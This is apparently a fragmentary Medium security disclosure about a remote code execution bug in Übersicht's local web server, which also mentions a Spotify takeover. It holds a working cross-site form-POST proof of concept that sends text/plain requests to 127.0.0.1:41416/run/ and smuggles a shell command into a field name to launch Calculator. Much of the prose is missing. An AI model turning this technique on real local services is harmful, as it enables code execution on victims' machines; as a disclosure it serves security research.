Übersicht Remote Code Execution, Spotify takeover

on the security implications of locally hosted web services

I. Spotify’s All Singing, All Dancing Musical BackdoorII. The Übersicht RCEIII. Wrapping Up
this blew my mind in 2007

I ⧸ Spotify’s All Singing, All Dancing Musical Backdoor

e-excquse me…. pwease log onto our wifi uwu
this is literally how they advertised the WiFi Pineapple® at DEFCON. my industry is very weird

II ⧸ The Übersicht RCE

import run from './runShellCommand';
import request from 'superagent';
import styled, {css} from 'react-emotion';
export {run, request, css, styled};
const post = require('superagent').post;

function wrapError(err, res) {
return err
? new Error((res || {}).text || 'error running command')
: null
;
}

module.exports = function runShellCommand(command, callback) {
const request = post('/run/').send(command);
return callback
? request.end((err, res) => callback(wrapError(err, res), (res || {}).text))
: request
.catch(err => { throw wrapError(err, err.response); })
.then(res => res.text)
;
};
const [form, input] = ["form", "input"].map(document.createElement.bind(document));Object.entries({
method: "POST",
action: "http://127.0.0.1:41416/run/",
enctype: "text/plain"
}).forEach(([key, value]) => form.setAttribute(key, value))
Object.entries({
value: "nope",
name: "open /Applications/Calculator.app #"
}).forEach(([key, value]) => input.setAttribute(key, value))
document.body.appendChild(form).appendChild(input);form.submit();
nope.
<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">
<input value="nope" name="open/Applications/Calculator.app#">
</form>
$ curl -sv 'http://oh.no.ms' | head
> GET / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< x-amz-id-2: [scrubbed]
< x-amz-request-id: [scrubbed]
< Date: Sat, 15 Dec 2018 21:37:53 GMT
< Last-Modified: Thu, 11 Aug 2016 22:37:02 GMT
< ETag: "d8c9ff35acce7d64ff9b6bf9af1faef2"
< Content-Type: text/html
< Content-Length: 1618
< Server: AmazonS3
<
{ [1618 bytes data]
* Connection #0 to host oh.no.ms left intact
<!DOCTYPE HTML>
curl 'http://oh.no.ms' -vvs -X POST -d 'param1=cool beans&param2=cooler beans' | h
ead
* Rebuilt URL to: http://oh.no.ms/
* Trying 52.218.80.156...
* TCP_NODELAY set
* Connected to oh.no.ms (52.218.80.156) port 80 (#0)
> POST / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 37
> Content-Type: application/x-www-form-urlencoded
>
> param1=cool%20beans&param2=cooler%20beans
< HTTP/1.1 405 Method Not Allowed
< x-amz-request-id: [scrubbed]
< x-amz-id-2: [scrubbed]
< Allow: GET, HEAD, OPTIONS
< Content-Type: text/html; charset=utf-8
< Content-Length: 422
< Date: Sat, 15 Dec 2018 21:46:55 GMT
< Server: AmazonS3
<
<form action="http://oh.no.ms" method="POST">
<input name="param1" value="cool beans">
<input name="param2" value="cooler beans">
</form>
<form action="http://127.0.0.1:41416" method="POST">
<input name="run" value="open /Applications/Calculator.app">
</form>
run=open+%2FApplications%2FCalculator.app
<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">
<input name="open /Applications/Calculator.app #" value="nope">
</form>
Boom. You got calculated

III ⧸ Wrapping Up

--

--

i’m trying http://twitter.com/zemnmez

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store